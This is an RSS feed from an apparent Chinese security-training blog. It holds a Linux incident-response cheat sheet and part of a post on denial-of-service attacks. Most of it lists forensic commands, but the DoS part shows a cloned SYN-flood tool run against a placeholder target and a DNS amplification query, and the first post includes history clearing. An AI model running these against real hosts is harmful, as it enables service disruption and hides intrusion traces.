<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>基础渗透测试 on Retr0的小窝</title>
        <link>https://www.retr0.xyz/categories/%E5%9F%BA%E7%A1%80%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/</link>
        <description>Recent content in 基础渗透测试 on Retr0的小窝</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en-us</language>
        <copyright>Retr0</copyright>
        <lastBuildDate>Sun, 21 Dec 2025 12:41:39 +0800</lastBuildDate><atom:link href="https://www.retr0.xyz/categories/%E5%9F%BA%E7%A1%80%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/index.xml" rel="self" type="application/rss+xml" /><item>
        <title>1.16 Linux应急响应</title>
        <link>https://www.retr0.xyz/p/1.16-linux%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94/</link>
        <pubDate>Sun, 21 Dec 2025 12:41:39 +0800</pubDate>
        
        <guid>https://www.retr0.xyz/p/1.16-linux%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94/</guid>
        <description>&lt;h2 id=&#34;常规命令操作&#34;&gt;常规命令操作
&lt;/h2&gt;&lt;h3 id=&#34;查看流量大小&#34;&gt;查看流量大小
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;ifconfig&lt;/code&gt;查看RX packets（数据包数量）后面的数字是否异常多&lt;/p&gt;
&lt;h3 id=&#34;进程查看&#34;&gt;进程查看
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;ps -aux&lt;/code&gt;或&lt;code&gt;ps-ef&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;功能：&lt;/strong&gt; 查看完整进程表&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;&lt;code&gt;top -c -o %CPU&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;参数解释：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-c&lt;/code&gt; 显示进程的命令行&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-p&lt;/code&gt; 显示进程的pid&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;&lt;code&gt;ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%cpu | head -n 5&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;功能：&lt;/strong&gt; 输出占用前5的进程&lt;/p&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;&lt;code&gt;lsof -i -PnR&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;功能：&lt;/strong&gt; 查看网络通信情况&lt;/p&gt;
&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;&lt;code&gt;ps aux | grep [指定pid]&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;功能：&lt;/strong&gt; 寻找指定pid对应的进程&lt;/p&gt;
&lt;ol start=&#34;5&#34;&gt;
&lt;li&gt;&lt;code&gt;lsof -p [指定pid]&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;功能：&lt;/strong&gt; 查看指定pid的进程打开了哪些文件&lt;/p&gt;
&lt;ol start=&#34;6&#34;&gt;
&lt;li&gt;&lt;code&gt;lsof [文件路径及名称]&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;功能：&lt;/strong&gt; 查看谁在占用某个文件&lt;/p&gt;
&lt;ol start=&#34;7&#34;&gt;
&lt;li&gt;&lt;strong&gt;功能：&lt;/strong&gt; 查看隐藏进程&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ps -ef &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; awk &lt;span class=&#34;s1&#34;&gt;&amp;#39;{print}&amp;#39;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; sort -n &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; uniq &amp;gt;1
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ls /proc &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt;sort -n &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt;uniq &amp;gt;2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;diff &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ol start=&#34;8&#34;&gt;
&lt;li&gt;&lt;code&gt;md5sum [文件路径及名称]&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;功能：&lt;/strong&gt; 计算文件的MD5值&lt;/p&gt;
&lt;h2 id=&#34;特定安全事件的处置&#34;&gt;特定安全事件的处置
&lt;/h2&gt;&lt;h3 id=&#34;webshell查杀&#34;&gt;webshell查杀
&lt;/h3&gt;&lt;p&gt;在线使用：&lt;a class=&#34;link&#34; href=&#34;https://n.shellpub.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;SHELLPUB.COM在线查杀&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;病毒rootkit查杀&#34;&gt;病毒/rootkit查杀
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;chkrootkit功能:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;检测是否被植入后门、木马、rootkit&lt;/li&gt;
&lt;li&gt;检测系统命令是否正常&lt;/li&gt;
&lt;li&gt;检测登录日志&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;使用方法:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;tar zxvf
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;chkrootkit.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;cd&lt;/span&gt; chkrootkit-0.52
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;make sense
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;编译完成没有报错的话执行检查&lt;/p&gt;
&lt;p&gt;&lt;code&gt;./chkrootkit&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;综合查杀工具&#34;&gt;综合查杀工具
&lt;/h3&gt;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.xmirror.cn/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;悬镜安全-DevSecOps数字供应链安全开拓者&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;rkhunter工具&#34;&gt;rkhunter工具
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;rkhunter功能:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;系统命令(Binary)检测,包括MD5校验&lt;/li&gt;
&lt;li&gt;Rootkit检测&lt;/li&gt;
&lt;li&gt;本机敏感目录、系统配置、服务及套间异常检测&lt;/li&gt;
&lt;li&gt;三方应用版本检测&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;使用方法:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;rkhunter-1.4.4.tar.gz tar -zxvf rkhunter-1.4.4.tar.gz
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;cd&lt;/span&gt; rkhunter-1.4.4
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;./installer.sh --install
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;rkhunter -c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;strong&gt;&lt;font style=&#34;color:#DF2A3F;&#34;&gt;注：&lt;/font&gt;&lt;/strong&gt; &lt;font style=&#34;color:#DF2A3F;&#34;&gt;通常情况下Linux的恶意程序处置，靠人工解决。&lt;/font&gt;&lt;/p&gt;
&lt;h2 id=&#34;网络行为分析&#34;&gt;网络行为分析
&lt;/h2&gt;&lt;h3 id=&#34;系统信息&#34;&gt;系统信息
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;who&lt;/code&gt; 查看当前登录的账户&lt;/p&gt;
&lt;p&gt;&lt;code&gt;uname -a&lt;/code&gt; 查看系统信息&lt;/p&gt;
&lt;p&gt;&lt;code&gt;netst -ano&lt;/code&gt;	查看网络和端口情况&lt;/p&gt;
&lt;p&gt;&lt;code&gt;netstat -utnpl&lt;/code&gt;	简单查看端口及使用端口的进程&lt;/p&gt;
&lt;p&gt;&lt;code&gt;lsof -i :[端口号]&lt;/code&gt; 查看进程和端口的对应关系&lt;/p&gt;
&lt;p&gt;&lt;code&gt;arp -a&lt;/code&gt; 查看arp表（查看mac地址是否有重复）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ls -l /proc/[pid]/exe&lt;/code&gt;或&lt;code&gt;file /proc/[pid]/exe&lt;/code&gt; 查看某个pid对应的文件路径&lt;/p&gt;
&lt;h3 id=&#34;使用iptables屏蔽ip&#34;&gt;使用iptables屏蔽ip
&lt;/h3&gt;&lt;p&gt;阻止数据包传入（入站规则）：&lt;code&gt;iptables -A INPUT -s [ip地址] -j DROP&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;阻止数据包传出（出站规则）：&lt;code&gt;iptables -A OUTPUT -d [ip地址] -j DROP&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果把&lt;code&gt;DROP&lt;/code&gt;都改为&lt;code&gt;ACCEPT&lt;/code&gt;就是只允许某个ip的通信（白名单）&lt;/p&gt;
&lt;p&gt;清理所有的已设置的规则：&lt;code&gt;iptables -F&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;拓展：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;用iptables封锁和x.com的域名通信&lt;/p&gt;
&lt;p&gt;&lt;code&gt;iptables -I INPUT -ptcp --dport 80 -m string --string &amp;quot;x.com&amp;quot; --algo bm -j DROP&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;启动项排查&#34;&gt;启动项排查
&lt;/h2&gt;&lt;h3 id=&#34;启动项存在的路径&#34;&gt;启动项存在的路径
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/init.d/&lt;/code&gt;	（服务的启动脚本）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/xinetd.d&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;查看rclocal文件&#34;&gt;查看rc.local文件
&lt;/h3&gt;&lt;p&gt;可能存在于：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/init.d/rc.local&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/rc.d/rc[0-6].d/&lt;/code&gt;（文件夹里放的是指向&lt;code&gt;init.d&lt;/code&gt;的链接，0-6的数字指的是启动优先级）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/profile.d/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;计划任务排查&#34;&gt;计划任务排查
&lt;/h2&gt;&lt;p&gt;&lt;code&gt;crontab -l&lt;/code&gt;查看计划任务&lt;/p&gt;
&lt;p&gt;&lt;code&gt;crontab -r&lt;/code&gt;删除计划任务&lt;/p&gt;
&lt;p&gt;&lt;code&gt;crontab -e&lt;/code&gt;使用编辑器编辑计划任务&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;拓展：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;计划任务可能具体存放的位置：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/crontab&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var/spool/cron/[用户名]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var/spool/cron/*&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var/spool/anacron/*&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/crontab/*&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/cron.d/*&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/cron.时间/* &lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;服务排查&#34;&gt;服务排查
&lt;/h2&gt;&lt;p&gt;&lt;code&gt;cat /etc/services&lt;/code&gt;	查看网络服务&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;拓展：端口的分配&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;1-1024 系统保留，只能root使用&lt;/p&gt;
&lt;p&gt;1025-4999 客户端程序自由分配&lt;/p&gt;
&lt;p&gt;5000-65535 服务器端程序自由分配&lt;/p&gt;
&lt;h2 id=&#34;服务自动启动&#34;&gt;服务自动启动
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;命令语法：&lt;/strong&gt; &lt;code&gt;chkconfig --level [运行级别] [服务名] [on/off]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;运行级别解释：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;0 - 关机&lt;/p&gt;
&lt;p&gt;1- 单用户模式&lt;/p&gt;
&lt;p&gt;2- 无网络连接的多用户命令行模式&lt;/p&gt;
&lt;p&gt;3 - 有网络连接的多用户命令行模式&lt;/p&gt;
&lt;p&gt;4 - 不可用&lt;/p&gt;
&lt;p&gt;5 - 图形界面多用户模式&lt;/p&gt;
&lt;p&gt;6 - 重启&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;例如：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chkconfig --level 2345 httpd on&lt;/code&gt;也可写作&lt;code&gt;chkconfig httpd on&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chkconfig --list&lt;/code&gt;	查看服务自启动状态&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chkconfig --del&lt;/code&gt;		删除相关服务&lt;/p&gt;
&lt;h2 id=&#34;文件检查&#34;&gt;文件检查
&lt;/h2&gt;&lt;h3 id=&#34;webshell后门可以通过sftp复制出来&#34;&gt;webshell后门可以通过sftp复制出来
&lt;/h3&gt;&lt;h3 id=&#34;敏感目录文件分析&#34;&gt;敏感目录文件分析
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;/etc/init.d&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/usr/bin&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/usr/sbin&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;文件属性分析&#34;&gt;文件属性分析
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;ls -alt&lt;/code&gt;	按修改时间排序&lt;/p&gt;
&lt;p&gt;&lt;code&gt;file [文件名及其路径]&lt;/code&gt;	检查文件类型&lt;/p&gt;
&lt;p&gt;&lt;code&gt;find / *.xxx -perm 4777&lt;/code&gt;	特殊权限文件查找&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ls -al /tmp | grep &amp;quot;Feb 10&amp;quot;&lt;/code&gt;	查看二月十号变更的隐藏文件（筛选用）&lt;/p&gt;
&lt;h3 id=&#34;敏感目录&#34;&gt;敏感目录
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plain&#34; data-lang=&#34;plain&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;/tmp
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;/root
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;/bin
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;/usr/bin
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;/usr/sbin
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;/sbin
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;文件的高级查找&#34;&gt;文件的高级查找
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;find [路径] -uid 0 -print&lt;/code&gt;	查找特权文件&lt;/p&gt;
&lt;p&gt;&lt;code&gt;find [路径] -size +10000k -print&lt;/code&gt;	查找大于10000k的文件&lt;/p&gt;
&lt;p&gt;&lt;code&gt;find  [路径] -name &amp;quot;...&amp;quot; -print&lt;/code&gt;	查找文件名为&amp;hellip;的文件&lt;/p&gt;
&lt;p&gt;&lt;code&gt;md5sum -b [文件]&lt;/code&gt;计算MD5&lt;/p&gt;
&lt;p&gt;&lt;code&gt;whereis [文件名]&lt;/code&gt; 查找文件路径&lt;/p&gt;
&lt;h3 id=&#34;检查账号&#34;&gt;检查账号
&lt;/h3&gt;&lt;h4 id=&#34;账户本身检查&#34;&gt;账户本身检查
&lt;/h4&gt;&lt;p&gt;&lt;code&gt;w&lt;/code&gt;	查看所有登录用户及系统状态&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cat /etc/passwd&lt;/code&gt;或&lt;code&gt;less /etc passwd&lt;/code&gt;用户信息文件&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ls -l /etc/passwd&lt;/code&gt; 查看上面文件的修改时间&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cat /etc/shadow&lt;/code&gt; 用户密码&lt;/p&gt;
&lt;p&gt;&lt;code&gt;usermod -L [用户名]&lt;/code&gt;	禁用账户（不能登录）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;usermod -U [用户名]&lt;/code&gt;	启用账户&lt;/p&gt;
&lt;p&gt;&lt;code&gt;userdel -r [用户名]&lt;/code&gt;	删除账户&lt;/p&gt;
&lt;p&gt;&lt;code&gt;userdel  [用户名]&lt;/code&gt;	删除账户并删除其对应/home目录&lt;/p&gt;
&lt;h4 id=&#34;用户登录检查&#34;&gt;用户登录检查
&lt;/h4&gt;&lt;p&gt;&lt;code&gt;last&lt;/code&gt;	用户登录检查（数据源&lt;code&gt;/var/log/wtmp&lt;/code&gt;和&lt;code&gt;/var/log/btmp&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;lastb&lt;/code&gt;	上次登录失败（数据源&lt;code&gt;/var/log/btmp&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;lastlog&lt;/code&gt;上次登录成功（数据源&lt;code&gt;/var/log/lastlog&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;last -x reboot&lt;/code&gt;	上次重启&lt;/p&gt;
&lt;p&gt;&lt;code&gt;last -x shutdown&lt;/code&gt;上次关机&lt;/p&gt;
&lt;p&gt;（数据源&lt;code&gt;/var/log/lastlog&lt;/code&gt;和&lt;code&gt;/var/log/secure&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/var/log/message&lt;/code&gt;	存储的认证信息，可以追踪恶意用户登录行为&lt;/p&gt;
&lt;h2 id=&#34;历史命令&#34;&gt;历史命令
&lt;/h2&gt;&lt;p&gt;&lt;code&gt;history&lt;/code&gt;	查看历史命令&lt;/p&gt;
&lt;p&gt;&lt;code&gt;history -c&lt;/code&gt;	清除历史命令&lt;/p&gt;
&lt;h2 id=&#34;日志分析&#34;&gt;日志分析
&lt;/h2&gt;&lt;p&gt;默认日志&lt;code&gt;/var/log/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;more /etc/rsyslog.conf&lt;/code&gt;	查看日志情况&lt;/p&gt;
</description>
        </item>
        <item>
        <title>1.15 DOS补充和Win应急响应</title>
        <link>https://www.retr0.xyz/p/1.15-dos%E8%A1%A5%E5%85%85%E5%92%8Cwin%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94/</link>
        <pubDate>Thu, 18 Dec 2025 22:46:46 +0800</pubDate>
        
        <guid>https://www.retr0.xyz/p/1.15-dos%E8%A1%A5%E5%85%85%E5%92%8Cwin%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94/</guid>
        <description>&lt;h2 id=&#34;dos补充&#34;&gt;DOS补充
&lt;/h2&gt;&lt;h3 id=&#34;syn洪水攻击syn-flood&#34;&gt;SYN洪水攻击（Syn Flood）
&lt;/h3&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;git clone https://github.com/EmreOvunc/Python-SYN-Flood-Attack-Tool.git
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;cd&lt;/span&gt; Python-SYN-Flood-Attack-Tool
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;python3 py3_synflood_cmd.py -t &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; -p &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;端口号&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; -c &lt;span class=&#34;m&#34;&gt;5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;dns放大攻击&#34;&gt;DNS放大攻击
&lt;/h3&gt;&lt;p&gt;典型的流量放大攻击，以小汇多，利用协议特定进行放大流量&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# 安装&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo apt-get install dnsutils
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# 使用&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;dig ANY &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;域名&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; @&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;DNS地址，例如114.114.114.114&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
